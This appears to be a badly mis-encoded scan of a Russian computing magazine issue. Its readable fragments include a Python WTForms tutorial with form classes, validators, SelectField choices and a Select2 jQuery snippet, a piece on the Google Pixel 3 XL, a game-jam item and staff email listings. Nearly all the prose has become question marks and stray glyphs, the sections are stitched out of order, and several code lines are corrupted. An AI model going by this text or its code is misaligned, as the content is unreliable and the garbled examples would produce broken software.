? ??�?????�??�??�???�???�????�??�??�????�?�(??????�??�???��?�?
???�?�?????�???�?�?�??�??�??�??��??�???�??���???�????�???�
???�????)?
? ???� ?????�??� ????� ????�???� data?????�??� ???� ???�??�??�?� ????,� ??????�
?????燗PI?endpoint�??�?????�??�???�??�????�??�??.
???�??�????�?�??�?�??�??�????�??�?�????�????�??�????�??�???�
??��?????�?�?????�?�??�?:�????�????�??????�?????�??��???�????�
???�???�?.�?�??�??�??�????�????�??,�??�???�??�?��??�???�??
Python????�??��?�????�????????�??�???�???�?!
??�????�????�???�??�????�???� first_name�(???�??�???�??��????
default):
form.first_name.data��'Linus'
?� ????� ??????� ????�?� ????� ???�???� render_kw.� ??� ???�??�????�?� ???�??
????�????,�??????�????�??????�???�燞TML?????�(???�???).
#�?????�???�?????�???????�燘ootstrap!
form.last_name.render_kw['class']��'form?control'
??� ?� ???????� ???�?????� data?????�??� ???� ???�??�?� ??� ???�?????�??� ?????�
????:
form.users.render_kw['data?url']�爎equest.app.router['api_users_search'].
url_for()
???????��??????????�????
?�????�?????�?????�?�?????�?,�??�???��?�?�??�?�????�??????�
??????�?��??�??�???�????.�???�?�?�??????�??�????�??�?��??????�
???�?????,��????�??�??????�???.�?��????�??�??��??�??�??�???
????�?� ????????�??� ?????� ?????� (????�????)� ???�?,� ?� ?� ???�??� ?� ????�
?????�??.�???�???�??�?????�??�???�???�??�????�??�???�??�??????
??�??�?????�??.
??�??????�??????�????�??�?:
class燯serBaseForm(Form):
牋爀mail�燬tringField('Email',燵validators.Email()])
牋爌assword�燬tringField('Password')
?�??�????�???�?�?�???,�??????�???�?????�??�??�????�???�????????�
???�?� ????�???.� ?� ?????� ????�????� ???�????�??,� ???????� ?????� ????�
????????�?�?�?????�?:
class燯serExtendedForm(UserBaseForm):
牋爁irst_name�燬tringField('First爊ame',燵validators.Length(min=4,爉ax=25)]
)
牋爈ast_name�燬tringField('Last爊ame',燵validators.Length(min=4,爉ax=25)])
???�????�??�??�?��??�?????,�????�???��??�???.
base_form�燯serBaseForm()
base_form._fields
#燨rderedDict([('email',�wtforms.fields.core.StringField燼t�106b1df60>),
#�('password',�wtforms.fields.core.StringField燼t�106b1d630>)])
?�?????�??�?????,�??�????�??�???�??�????�??�??�?:
extended_from�燯serExtendedForm()
extended_from._fields
#燨rderedDict([('email',�wtforms.fields.core.StringField燼t�106b12a58>),
#�('password',�wtforms.fields.core.StringField燼t�106b12f60>),
#�('first_name',�wtforms.fields.core.StringField燼t�106b12e80>),
#�('last_name',�wtforms.fields.core.StringField燼t�106b12ef0>)])
???�?????,�??�????�??�?�???�?�??�??�??�???,�?��?,�??????�???
????�???�?��??????�???�?.�????�???�??,�?�????�??�?????�???�??
???�?,�??�????�?�???�?�??�?,��?????�?????��??????�??�???�???�?,
???????�??��??�??�?????�???�?????.
???�??� ???�??� ???�????� ????�??� ????� ?� ???� ???�???�??� FormField.
???� ??????�??� ?????� ????,� ???????� ?????� ???�???????� ???� ?????�??�???
?????�??�?.�??�????,�???�?�燩ost�??�?�??�???��?????燯ser�??�???�
??�??�?,�??�??�??�??�????�????.
??????????�??????????�????�(ONE-TO-MANY,燤ANY-TOMANY)
??�?�(??)????�??�???�???�??�??�??�???�???��??�??????.�??�????�
????�?�?�???�??�????�??,�??�?�???�???�????��?�?�???�???�??�?燼s
is�???,�??�??�??�???�?????�?��???�??�?,��??�??�??????�??�????
???�?????� ????�????�????.� ?� ???� ????�???� ???�?� ??????� ?� WTForms.� ????�
????�?� ??� ???�?,� ???� ????� ???�?� ???�?� ????�???� ??????�??�?,� ??????� ??
??� ??????�?????� ???� ????�???� ???� ??� ????�????�????� ???�???�?� ?� ???�??
???�????
???�????� ????�??� ???�??:� ?� ???� ????� ???�?� ???�????� ???�?� ?� ???� ????
???�?� ???�???� ??????�??� ?� ???�??� ????�??.� ??????�??� ?� ???�?� ????�?� ????,
?�???�??�????�???�??�???�?.�???�?,�??�??�??�??�?????�???�?�??�?
??燲akep.ru�(?�?????�??燱TForms�?�????�?牜??????�,燩HP�燱P��??�????�
??��??�?????�??�?).
????�?????�??????��??�?�?�????�??�?�??�???�?.
1.�� ????�??� <select>,� ???????� ?????� ???????�??� ???� ??????�???� ????�
???.� ????� ???�??� ???�????,� ???�?� ?� ???� ????� ???�?????� ???�????.� ????�
?????,�??�??�?????�??�??�?��?�?�????�?????,�???�??�???�??.
2.��?????�??�?�??�??�?????�???�?,�??�????�??�???�?�????,�??????
??�????�????�?�??�??�??�??.�??�????�????�??�??�??????�???�??
????.
?�??�??�???�???��????�??�?�???�???燾ategory,��???�??�???�????�
???�?�???� category_id.�??�?�??????�???�??�???��??�???�??� select,
??�??�??�??�???��??�?�???�??燾ategory�???�?燬electField.�??�???�
?????�?��???�??�?�???????�??�??�?�??�?????�??�????,�??????�???�
????�???� ???�????� ?� ??� (?????:� ???�??� ???�?????� ??????�??� ???� ???�?),
?�??�?�???�?????�????�???�??�????.
#�??????????�?????�???????,�??????�???????????�?????燙ategory
#�??�?????��?????�??????,�?????燺_str__.�????�??�???????
from燼dmin.template_helpers.categories爄mport爃umanize_category
#�??????�??�????????�?�?
categories�燙ategory.select().all()
#�????????�????????�???????�?????�?�??
form.categories.data�燵str(categories[0].id)]
#�????????�?????�???�????????�????????�??燬electField
#��??????�???????????�select>燾�????????�????????�option>
#�?????��?????�???????�???�(<?????????????>,�????????????????�
?????????????>)
form.categories.choices�燵(c.id,爃umanize_category(c))爁or燾爄n燾ategories]
?�?????�???��???�???�?�?????�?�???�????�?????�??�????.
????�????�?????爏elect��???�??�?????�??�???�?�????燱TForms
?�???�???�??�??�(????�?????�???)�??�??�?????�????�???�?�???�??.
???�??��??�??�?�??�????,�,�?????�???,�?�??�?????,�?�?????��????
??????�???爏elect??�????�????�????.�???�?�???�????�??????�?????�
??????�?????� ???�????�?� Select2.� ???� ???�???�?� ????�?????� ?????� input
?� ??????�??�?� ???�??�?????� ???�??� ????� ???�??� ?????� ????�??� ?????�
???????�??�???�???�?,��??�??�??�??�???�?�??�??�?????�???燯RL.�?
???�??�?�?????�??�????�??�????�??�???爎ender_kw.
form.issues.render_kw['class']��'live_multiselect'
form.issues.render_kw['data?url']�爎equest.app.router['api_issues_search'].
url_for()
?� ????�?� ????�??� ?????�???�?� ?� ???�??� jQuery????�???� ????�???�?� ???
input燾�??�??�???�??��?????�??�?�??�??�?????�????�???�(????�??�??
????�?,�?????�???,�??�??�???�?�??�???):
$(".live_multiselect").each(function�(index)爗
牋爈et爑rl��$(this).data('url')
牋爈et爌laceholder��$(this).data('placeholder')
牋�$(this).select2({
牋牋牋爐ags:爐rue,
牋牋牋爌laceholder:爌laceholder,
牋牋牋爉inimumInputLength:�
牋牋牋燼jax:爗
牋牋牋牋牋爑rl:爑rl,
牋牋牋牋牋燿elay:�00,
牋牋牋牋牋燿ataType:�'json',
牋牋牋牋牋爌rocessResults:爁unction�(data)爗
牋牋牋牋牋牋牋爈et爍uerySet�爗爎esults:燿ata爙;
牋牋牋牋牋牋牋爎eturn爍uerySet
牋牋牋牋牋爙
牋牋牋爙
牋爙);
});
?�?????�???�?????�?�???�??�???�?????�?????�??�??.
??�???�??�?�??�??�?????�????�??�????�??�?燱TForms�燬elect2
???�?????�??�???��??�??????
???�??�???�????�???????�?�??�???,�???�?�?�??�????��??�??�????�
????.� ??????,� ???� ????� ??????� ????�???� ???�????� Select2,� ???????� ????�
????�?� ???�???�?� ?????�???�?� ????�?� ????�?� ?� ?????�?� JS� ????????� ?????�
???????� ???�??�????�????.� ????�?� ???� ????,� ????� ???� ?????� ???�?????
????�???�??�??�??�??�???�??�???�??�?????�???�???�??�???��???�
??????�??�????,�?????�???��?????�???�??
?�??????,燱TForms�??�???�?�??�?????�??�???�???�??�??�???�(?????�
?????????�???� HTML????�????� ???� ???�????�?� ?????).� ??� ?????� ???�???
???�??�?�??�???�?:
1.�??�???� ????�???�??� ??� ????� ?????�??�??�?� (class� CustomWidget(
TextInput):...),� ???�????� ???� ??????�??� ?� ????�???�????� ??????,
????�??燺_call__.�??�????,�???�???��????�?????�??燞TML????�??.
2.�??�???�??�?????�???�???�??�??�??,�?�??�???�??�?�????�??�???
?????�????.
???�??� ?????�????� ???�????� ???�?� ???�?� ?????,� ???????�????� ?� ???�??
???�?????�??�????�?�??�?�??�???�??�?��??????�????.
??�????�?????� ????�???�??� ???�??� ????� ???�????.� ?� ???�???� ????� ????
????�??� widget.� ??� ?????� ???�???� ???� ???�??� ?� ?????�??� ???�?� keyword?
????�??�?�??�???�???�??�???��???�?�??�?�??,�???�??�?????�???�
???�????�?�???�?,�???�??????�??�???�?????�??�?.
???�?� ???�?????� ???�????,� ??� ?????� ???�?????� ???�?????� ???�?????
????.� ???�????� ??????� ????� ???�??� ???�??????� WTForms?JSON,� ???????
???�????�?� ???� ????�??�?� JSON??????� ???????.� ????�?????� ????�???�??
????�??�?�??�????,�???�???�??�???�??�??�?�??�???��??????�????.
??????�?????????
???�????,�??�?�???�????�???�?????�???�?????�???,�??�?????�??�???�
?????�?�??�?????�??��????�???�??燞TML?????��????�??�??????�??.
?�?????�???,�??�?�???�???��?????�??�??�???�???.
??�???,� ???�?� ????� ???�?� ????�???�???� ???????� ????�??� ????,� ?????
??� ???� ????�?????�?????� ?� ???�???????� ??????�??�?,� ???�??????�??� ????�
???� ???�????� ?????� ?� ???�??� ??� ???�????� ???�???�?� ??� ????????�?� ?� ????�
?????�??� ???�?� ????� ?� ID????�??� ?� ????�???�?� ??� ???????�???� ???�?,
??????�??�?????�??�??�????�?�???��???�?????�?�?�??�????�?.�???�
??????,�??�?�??�?.�)
GEEK
????�?????
???????�?�????????
??????????????�???????
�????????�
aoleg@voicecallcentral.com
PIXEL�????????????
???????
?????
???????
??� ????�???�?� ????�?,� Google� ???�?????� ?� ????�??????�
????� ???�????� ??� YouTube,� ???????� ???�???�???� ???� ??
????�??????�??� ????�???� ???�????� Pixel� 3� XL� ??� ????�?
????�??�????�??�??�?????�???.�??�???�??�???�?,�???�
?????�?�??�?????�?�??�???�???�??�?????,��??�?????
???�??????� ??�???�?????� ???�?� ?????,� ?� ???????� ?????�
????????� ?� ???� ?� ????� ???�????� ???� ??????�???� �?????�
????粻?�????��??�???�??�?�?????�???.�??�??�??�???
??�??�??� ???�???�??� ???�????� ???????� (?????� ???�????� ?� ???� ???�?
????????� ?� ??????� �???�?� Google� Pixel� 3� XL:� ???�??�???�??,� ???�???�??
?�??�????�??�???�??�??�??????�).
?�?????�??????�????�???�??�??�??????�??�燩ixel�L.�???�??�???
???�?????�???� ???�???�?� ?????�??� ??????�???� ???�?� ???�???�??� ????????�
???� ????�?????�??� ?� ????�???�????.� ????� ?????�???� ??????�?� ???�?
??????�??,�???�??�?�????�?�????�??�??.�?????,�???,�??�??�?��??
???�???�?�?�?,�??�??�??�?????�???�???.��??�?�?????�????�??�?
?????�???� Pixel� 3� XL� ??� ???????,� ???????,� ????�?� ???????.� ?????� ???�??
????�?????�?� ????� ??????�?� ????�??�???� ??� ???�??�??????� Google� ????�
???燳ouTube.
???�??�??�????�?????�???,�??????�??�???�?????�???.
????�???�??�??�??�??�??�??�??�???牜?????�???粻??????�???.
??�??� ??� ???????�??� ????�?????�???� ?????�??�??� ???�??�?� ????�????�?
???�????��???�????�??.
??�??�?�????�???燝oogle��??�????�?�??�????�????燞TC�?�???�?�???�
??????� ??????� ???�?� ???�??�???� ???�?� iPhone� X?� ?????,� ?� ???.� ????�?� ????
???�????�?:��???燗ndroid�??燩ixel�L�??�???�???�??????�?????�???,
?�??????�??��?????�?�????.
??�??� ????,� ???� ???�???�?� Pixel� 2� XL� ??� Android� 9� ????�?????�?� ?????� ????�
??????�???�??????.
??�???� ?????� ???�????�?� ?� ?????,� ?� ???�?� ???�??,� ????�??�???� ?� ???�????
�????�???粻?�???�??燩ixel�L�?????�?????燝oogle?
??� ????�????� Google� ?� ????�?????�??� ???�??� ????�??,� ??� ????,� ????:
????�?�????�??�????�???�?�???�???�???�??�???�?,�??�?�???�?????�
???� ???�??� Pixel� 3� XL� ????�?� ?� ???????� ???�????� ?� ???,� ???� ????�?� ???
??????� ?� ????�?� ?� ?????� ????� ???�??� ?� ???�???,� ?� ????�?????�??� ??� ????�
??????.� ???�?� ????�????� Google� ?� ????�???�????� ??????�???� ???� ???
???????�??�??�?????�???�???.
??�????� ???�??:� �???粻 ????� ??� ???� ???�???�??,� ???????� ???�???�?
?� ???�??� ???�??�?� ???�????�?,� ??� ??� ???????� ?� ????� ?????� ????�????�??
?????�?????� ?� ?????�??� ??????�??????.� ???�????�?????� ???�???�?� ?
????�??�???�???�??�????�?�?????�??.�??�??�???�?�???�????�?�??�???�
?????.� ???,� ???�????,� ?????�????� ???�???�??� ????�??�?� OnePlus� 5,� ?????�
???????�??�????燨nePlus.
???�???�?�??�???�?�???�?????�??�(???�??�???��????�????�??�????),
???????� ????�???� ???�???� ???�????�??� ?� ?????�????� ?????�?� ???� ???????�
???????.��??�??�???�?????�??�?�??�???�?????�???�??????��??�???�
???� ????�?,� ?� ???????�?� ???????�???,� ???�??�???�??�?� ???�?� ???????�??
???� ???�?????�??�??� �????�??粻 ???�????�????� ???�????.� ????� ???�??�?,
???� ????�?????�??� ????�??� Pixel� 3� XL� ?????� ???� ??????,� ??� ???�???� �?????�
????粻 ?????� ????� ??????�?????� Google� ???� ????�?� Pixel� 3� XL,� ???????� ????�
?????�?�??????.
??�????�??�??:�??�?�?�????�???�??�??�????�?,��??????�??�????�
????�???�???�??��??????,�??��??�???.�???????�??�???�???�?��???,
???�?� ???�???� ????�??� ?� �????�????�.� ?????�?,� ???????� ???�???�???
??????�???� ???� ??????,� ?????�???� ???�??�???�???� ????�?� ????�???� ????�
??????�???� ?????�?,� ???�?� ????� ??????�??�???� ??????�???� ???�????
???????��??�???�?????�?�??�???�???�?????�??��??�????�????.�????�
???� ???� ??????� ??????�?� ???????� ????,� ?� ????�?� ????�?� ??????�?????
?�????�??�??�????�?????�???.
???�???�?�??�??�???�?�??�??�????�???????�????�???�??燩ixel�XL� ????�??�??� Google?� ???????,� ????�??� ??� ???� ???�?� ?????�??�????
?????�?燩ixel�????�???�????�?.
?09�(234)
�
????�??????
????�??�????�??
rusanen@glc.ru
????�??�???�??
?????�?????�????�??
glazkov@glc.ru
�
??�???�???�??�??
?????????�??
pismenny@glc.ru
�
??�????�?????�?
??????�??�??�????�??
??�??�???�??�??
??�???�???�??�??
pismenny@glc.ru
aLLy
iam@russiansecurity.expert
�
�
????�??????
rusanen@glc.ru
??�????�??�??
zobnin@glc.ru
�
�
????�????牜Dr.粻
?????????
lozovsky@glc.ru
�
??�??牜ant粻?????
zhukov@glc.ru
MEGANEWS
??�??�?????�?
nefedova@glc.ru
???
yambuto
yambuto@gmail.com
???�???
??�?�???�???�
??�??�??�?�???�??�????�
yakovleva.a@glc.ru
???�??????�????��??�????
???�???�?�??�????:爈apina@glc.ru�
�??�???�?�?????�???:爏upport@glc.ru�
??�??�????�??:�5080,�????�??�??,�?????�??�???�??�?,�??��???�???��???��?????�??營X,�??�???�,�???��???�???:�?
????�???�????�??�????,�0046,�??�?????�???�??????,�.�??�?????,�?.�???�?�??????,�.�.�???�?????:�??牜?????�??粻� �5080,
?????�??�??,�?????�??�???�??�?,�??��???�???��???��?????�??營X,�??�???�,�???��??????�??�???�?��???????�??�???�?
??�??�???��??�?�??�?,�??????�???�??�??�??????��??�????�??�?????�??�(???�?????�???),�??�?????�???牋??�牋??77?�001�?牋30.�
08.�16� ????.� ???�??� ?????�??� ??� ???�?????�?� ???�???�?� ?� ???�???� ????�??.� ???� ??????�??� ?� ??????� ???�??�????�???� ???� ???????�??
?� ???�????�??.� ????,� ??????�?????� ???�??� ???????�??� ?� ???�???�????�??� ?????,� ?????� ????� ????�?????� ?� ??????�???�????.� ?????�??
??�????�?????�???�????�?�????�????�??�?????�??�???�??��?????.�?�??�????�????�?????�??��?????�??�???�?�?????�??????
?????�???�??�?????�???�??�???�???�??�???�?�???�?:爔akep@glc.ru.牘�??�??牜?????�,�?,�18
?�???�?????�
????�(???,�??�????,�?�???�?,�???�?�??�?�?????�??).�??�?
????????� ??� ???????�???�??� ???� ???�?????�??� ???�???�??,� ????�
??????� ???�?,� ????????� ???�????�??� ????�???� (stacked� charts),
?�??�?�??�?????�????�???��??�?????�??�???�?�???.
???� ??????� Termgraph� ??????�??�?� Python� 3� ?� ???�????�?� col?
orama.� ????�?????�?� ???�???�?� ????�?:� ?????�????� termgraph
?� ??????�??� ????� ???�????� ???�?� ?� ???�???,� ????� ????� ???�??
?�???�??�???�???.�??�?�??�???�???�??�?????�??????�?燾ol?
or,� ???�????� termgraph� data/ex4.dat� ??color� {blue,red}.
????�?,� ???� ???�???????� ???�??,� ??????� ???�??????� ?� ???�????
??�??�?燿ata.
3
DEMAKE燡AM��??????�??????????�?????
??????????�??
25�??????�18�???�?�???�????� itch.io�????�????�?????�????�
???� ???�???� ???� ???�????�????� ???:� ??� ???????�?� Demake� JAM
?� ???� ???�????� ???�????�?� �????�??粻 ?� ????�??�??� ???�??
?????�???�??.�??�??�??�????,�?�?????�??�??????�?�???�???
?�?????�?????,��?�???�????�??�?��???�???�??�??�???�????�
??????�??�???�??�??�??,��??????�??�?�??�?��???�???.
?� ???�???,� ?????�??� ???�??� ???�?� ????� Metro� Cop� ?� ???� ??????
???????�???� ?� ????� ???�?� ???�????�???� ????� Virtua� Cop,� Bio� Evil� 4
(???�??� ???�?)� ?� ???,� ???� ??� ??????� ????????�?,� ???�??�??� ?????�
??????�?�??????燫esident燛vil�燣ow燤em燬ky��???�??�??�??
No� Man?s� Sky,� ???�??????�??� ??� PICO?8.� ?� ????� ???�????�???� (?
???????� ??� ???�????� ??????� ?� ???�??�???� ??????)� ????�
??��??????�?�?????,�??�??燣ow燤em��??�?�???�?�??�?.
????�???�?,� ??� PICO?8� ???�???� ???????� ?????� ???,� ????�?????
??� Demake� JAM.� ???�?� ???,� ?� ???�???,� Low� Knight� (??????� Hollow
Knight),燚elunky�(??????燬pelunky),燩icoman燝o�(Hitman燝o)��??�??
???�??.�?�???,�??�??�???�???????,�???�???�???�???�??�????
??� Pico� Space� Program� ?� ???�??� Kerbal� Space� Program,� ???????
??????�?�?燩ICO?8��??�????�???��?�????�?�?????.
??????
????�??????
???????�???????燷[,
?????????�??????????�
?????????????
rusanen@glc.ru
?????????
?????
????????????�??????�????
??燩YTHON��??????燱TFORMS
??�????�?� HTML?????� ?� ???????�???�???� ?� ???�?????
??????.� ????????� ??,� ?� ???� ????????:� ???�????� ???�?
?�??�???,�??�??�???�??�???�?�??�???,��?????.�????�
????�?????�???,�??�?�??�?�??�????�???:�??�?�??�???
??�?????,�?營D,�???�???�?爊ame,�??�??�??�??�???�????�
????� ??� ?????�?� ???� ??????�??� ?� ???�??�????� ???�??.
?�???�????�??�?�??�?�??��???�?????�?????,�?�???�
?????�?� ????�???�???� ?� ???�???�??� ??????:� ???�????�?
???�????�?�?????�???�???�???�????��??�???�?�??�??
?� ???????�???� ????�??�??� ???.� ????�?� ????� ???�???� ????�
????�?????��??�???�???�??.
?????�??�?????
???�?� ??????,� ?????� ????�???� ??� ????�?,� ?????� ?????�??� ??� ????�??� ????�
???.� ????�????,� ???� ?� ?????� ???????�???�??� ????� ???�?� ???� ???�????
????�?????�??.
<form燼ction="">
牋�!??爌ersonal爄nfo�?>
牋�input爐ype="text"爄d="f_name"爊ame="f_name"爌laceholder="John"�/>
牋�input爐ype="text"爄d="l_name"爊ame="l_name"爌laceholder="Dow"�/>
牋�!??燼ccount爄nfo�?>
牋�input爐ype="email"爄d="email"爊ame="email"爌laceholder="john@example.
com"�/>
牋�input爐ype="password"爄d="password"爊ame="password"爌laceholder=
"**********"�/>
牋�!??爉eta爄nfo�?>
牋�select爊ame="gender"爄d="gender">
牋牋牋�option爒alue="0">Male</option>
牋牋牋�option爒alue="1"爏elected>Female</option>
牋�/select>
牋�input爐ype="city"爄d="city"爊ame="city"爌laceholder="Saint?Petersburg"�/
>
牋�textarea爊ame="signature"爄d="signature"燾ols="30"爎ows="10"></textarea>
牋�input爐ype="submit"爒alue="Create爑ser!"�/>
</form>
???�??�?�??�????�???�?.�???�?�?????�??????��????�??�??�???�??
???????�??�????.
1.��??�???�???�(???��????�??�?)�??�?�????�?�??????�??�?�????�
???,�??????�????�??????�?�??�?????�??�??�?.
2.�??�??�??�?,�??�?????�??�????�?�??????�????�??�???�?.
3.�?�??�???�??�??�?�????�???????�?�???�?�??�??�???�?燙SS??????�
???�?�??�??�???�??�???�?????�??�?????�??�?.
4.�????� ?????� ???�??� ?????�???� ????�????�?????� ???�??� ?� ?????�?� ?
???�???�??� ?????�?� ???�???� ???�?� ???� ???�??� ???� ??????�???� ?????�
???.� ???�???� ???�??� ?� ?????� gender� ?????,� ????�?� ?????� ???� ?????�?
?????�??�???????�?�??�?????��?.
?�??�????.�??�??�????�?�??�???�???�??�?�??�??????�????.
?�?????�??�?????�?�?,�??�?�????�???�???�???�??�??�?�?�???�
????.�??�??�???�???�?�??�??�??�???�??�?????.
1.�??�??�??�???�???�??�?爊ame.
2.�??�?????�????�??�????�????�??�????��?????�?????�??�?.
3.�?�?�???�???�?,�??�?????�?,�??�??�??�?�??�????�?????�??�????
??�??�??�???�????.
4.�?�?�??�K,�?�???�???�?�?�??�??�?�??�??�????�??�?�???�????
?????�???�??�???�????�?�??�??�????.
???�????�??�??�????�???�?????�?�???�??�???�?�??�?�????�???�????�
??� ?????� ???�??� (email� ?� password),� ??????�??� ????�???????� ?????�??� ???
?�??�???.��???�??�??�???,�??�??�??�?,�??�??�?�??�???�???�??�??,
???�??� ?????� ?????,� ???�???� ????�?????� ????�??�??� ???�?� ??� ???�???
???� ?????�???� ???�??�?� ?� ???????� ???� ???�?????� ????�????� ???�?.� ??????
??????�??� ?????� ???�??�?� ???� ??????�???,� ???� ????????� ?� ??????�??� ????�
????.� ???� ????� ???�?� ??� ????????�?� ?� ???�???�?� ?????,� ???�???�??� ?� ????�
????,�??�?�??�??�???�?�?????�???.
??�???�?????�??�??�?�?�???�?�??�?????,�?��????�???????,�??????�
???� ??� ??� ?????� ???�?!� ???�??� ?� ????�?� ?� ???�?� ???� ???�?� ?????� ???�??,
?�??�????�?????�?????�?�??????�????.
???� ???� ???�???�??� ???�?� ???�???�???� ???????�??� ???�????,� ????�???�
?????,� ??????�????,� ???????� ?� ???�??� ???�??� ?????� ??????�?� ?� ?????
??????,� ?� ???�??� ???�?,� ?????� ???????�???�?� ??????�??�?.� ?� ???� ?????�
???????�?� ????�???� ????� ????� ?� ???�?� ???�??�?� ??????�?????� ???� ????�
????�??,�??????�??�???�?��??�??�?.
??�?�?�???�??�??�???�??�?��???????�??�??????�??�??�???,�???�
?????� ?� ????� Python?????�?,� ????�???�?� ???�??� ???� ???????�?,� ????�?,
??????�???,� ????�??�???,� ?� ????�?� ???�??�?????� ???�?????�?� ??� ????�
??????�??��??�??????.�??�?????�??��??????�??�????�?燱TForms.
INFO
??�?� ??� ??????�????� ????�??� ????�???�?� ????
Django� ???� Rails,� ??� ???� ????�????�?� ??� ???�??
???�??�????�?????��??�??�???�???.�???�?
??� ???� ???�??� ??????� ???�???�?� ????????� Djan?
go.� ???�?????� WTForms� ????�?� ?� ????� ?� ????�
?????�???� ???�?????�???�???� ???� ?� ????????�
?????�???�??�??� ???�???�???� ?� ?????�
??????????� ????�???�???� ???????�?,� ???
??????�??????燚jango�???�?????�?.
?????????
???� ??????� ????�????� ????� ???�????�?.� ?� ????� ??????�???� ???�???
??� Python� 3.� ???,� ???� ?????� ???�????,� ???� ???????�???� ?� ????�??�???� ?????�
????�?� aiohttp.�???�??�?�???�?��??�???�????�???????�� Flask,� Sanic
???�????�??�??�??????.��????�??�??�?????�???�?????�???�?� Jinja2.
????�??�???�?�????爌ip:
pip爄nstall爓tforms
???�???�?�??�??.
import爓tforms
wtforms.__version__
#�'2.2.1'
???�???�?�?????�???�??�?�???�?燱TForms��???�?????�?.
????????�????
?� WTForms� ????� ???� ?????�????� ????�??� ???� ???�????� ????� ?� ??� ?????.
????�???�??�??�?��??�????,�??�???�???�?�????�???�?��??�????�?
????�?� Form.� ????� ???�?� ???�???�???� ????�???�?� ????�?,� ???�???
??�??????�??�??�????�???�??????�?�??????�???�?�???�???,�???�????�
???�??�?�???�???�??�?.�??�??�???�?,�?�???�??�?.
from爓tforms爄mport燜orm,燬tringField,燭extAreaField,燬electField,爒alidators
class燯serForm(Form):
牋爁irst_name�燬tringField('First爊ame',燵validators.Length(min=5,爉ax=30)]
)
牋爈ast_name�燬tringField('Last爊ame',燵validators.Length(min=5,爉ax=30)])
牋爀mail�燬tringField('Email',燵validators.Email()])
牋爌assword�燬tringField('Password')
牋�#爉eta
牋爂ender�燬electField('Gender',燾oerce=int,燾hoices=[牋#燾ast爒al燼s爄nt
牋牋牋�(0,�'Male'),
牋牋牋�(1,�'Female'),
牋燷)
牋燾ity�燬tringField('City')
牋爏ignature�燭extAreaField('Your爏ignature',燵validators.Length(min=10,�
max=4096)])
???�??�?�??�???:
? ???�???�????燯serForm�??�????�??�?.�?�??�??????�?�????�????�
??燜orm�(?燘aseForm)?
? ???�??� ??� ?????� ???�?� ???�???� ????�????� ????�?,� ????�???� ???�??
?????�???�?��???�???�?�???燜ield.
?� ????�???�??� ?????� ???�?� ??� ??????�?????� ???????�????�??� ?????
StringField.� ???� ???�????� ????????�?,� ????� gender� ???�???� ???�?� ???�???
????��???�????�???�?????�??�????�(?/?),�????�?�?�?????�?????� Se?
lectField.� ???�???� ????�?????�?� ????� ???�?� ???�?????� ??� ?� ????�??� in?
put,� ?� ?� textarea,� ?????�?� ??� ??????�?????� TextAreaField,� ???� HTML?
????�???�????� (???�??)� ?� ???� <textarea>.� ????� ??� ???� ???�?� ????� ?????�
????�???�??�????�??�????,�?�?�??????�???�?�????�????�????� Inte?
gerField��??�???�?�???�?.
WWW
?� WTForms� ???�??�??� ?????�????� ????�??
???� ???�????� ?????,� ???�??????� ???� ???�?
?????.� ???�?� ???�?� ???�???� ????� ???�????�?
????�?.
?�????�??�?�????�??�?????.
1.�??�??� ????� ?????� ???�?????� ?????� ????�??�??,� ?????� ???� ????� ?????
?????.
2.�??�?�??�??�???�??�?燞TML?????�???�????,�??�?????�???�??�??.
3.�??�??�???�???�??�?�??�???�????�?????�????.
4.�?�???�??� ????� ?????� ???�?????� ?????�?????�??� ????�??�?.� ???�????,
???燬electField�??�?�??�???�????�??�?????�??�????.
5.�?�?� ???�?� ?????�???� ?� ???� ?????�??�???� ???�??.� ?� ???�?� ???????�
????�???,�???�???�??�????�?�???.�??�??�??�?�????�?,�??�?�??�?
????�???�???�?????�??�??�?�??�???�?�??�???�???�??�??,�??�???
??�??�?????�????�????�??�?.
6.�?�?�????�??�???�?????�???�?�?????�??�?�????�??�??�????,�??
?????�??�???�?�爁orm.field.errors.
??????��?????
???�???�?�???�?????�??�?.�???�??爓ork?ow�?????��??�???�??�???
??�???�??�??.
1.燝ET????�??� ????�???,� ??� ???????� ???� ???�?� ????�?????� ????� ???�?.
?�???�?????�?�??�??�??�???�??????�????�??�?,�??�??�??�??,
????�??�???�???,��???????�??�?????�???��??�??�??�??�??�????�?.
????�?� ???� ????�???� ?� ????�??�???� (action)� ???�???�???� GET????�???
?�?????�??????��?????�??�?�?燞TTP?????�???�?,�??????�?�????�
?????�?� (???� ??� ????�????�?,� ???� WTForms� ???� ??� ????�???).� ???�???
???�???,��???�??�???�????�??�?� GET�/users/new.��??�?,�燚jango
???� Rails� ??� ?????�????� ???�??� ???�????.� ?� ???�??� ???�????� ?????� ??
???�?��?????�??�?�??�?????�???�爐emplate燾ontext,��?�??�??�???�
?????� ?� ???????� ???�??�??� ?????,� ???� ??� ???�????�??� ???�??� ?????
?????爊ew�(@user�燯ser.new).
2.燩OST????�??� ????�???,� ?� ???????� ??� ???�??� ????????� ???�??� ???�?
(???�????,� POST� /users)� ?� ??????� ???�??�???:� ?????�???� ??????�??
???�??,�????�???�???�??�???�?�??�?�??�??�??????��?.
??�???�??�??�?�(GET�/users/new)
???�????�??????�????�???�???????�?�???�????�??�??�?:
user_form�燯serForm()
type(user_form)
#燺_main__.UserForm
?�??�???�???�??�?�?�????�???�???�?�?????�?�?�?�???�???:
type(form.first_name)
#爓tforms.fields.core.StringField
?� ?????� ????�??� ???�??� ???� ???.� ??????� ???????� ?????� ???�?� ???�?
????????�??�?????�???�??�???�??????:
def爊ew(self,爎equest):
牋爑ser_form�燯serForm()
牋爎ender('new_user.html',爗
牋牋牋�'form':爑ser_form,
牋爙)
??�??爎ender,�????�?,�??�???�??.��??�?�??�??�?????�??�????�?�????
????�?????�?�???�???�??��??�?????�????,�??????�?�?????�????.
??�????,� ??????�?� ????� ???�?� ?� ???�?????�??.� ???� ??� ???????�???
?� ???�????� ???�?� ????�???.� ?????�?,� ???� ??� ???�???�???�?� ???�???
??�??�???燡inja2.
{{爁orm.first_name.label爙}
{%爄f爁orm.first_name.errors�%}
牋�ul燾lass="errors">
牋牋牋爗%爁or爀rror爄n爁orm.first_name.errors�%}
牋牋牋牋牋�li>{{爀rror爙}</li>{%爀ndfor�%}
牋�/ul>
{%爀ndif�%}
{{爁orm.first_name()爙}
???�???�爑ser_form��????�??爁orm�????�??�???�????�??�?????�????
?�??�?????�??�????.
<label爁or="first_name">First爊ame</label>
<input爄d="first_name"爊ame="first_name"爐ype="text"爒alue="">
?????�??�???�??�??�??.
1.�� ???�??� ????�?� ??� ????�?????� ?� ????�???� label� ????� first_name
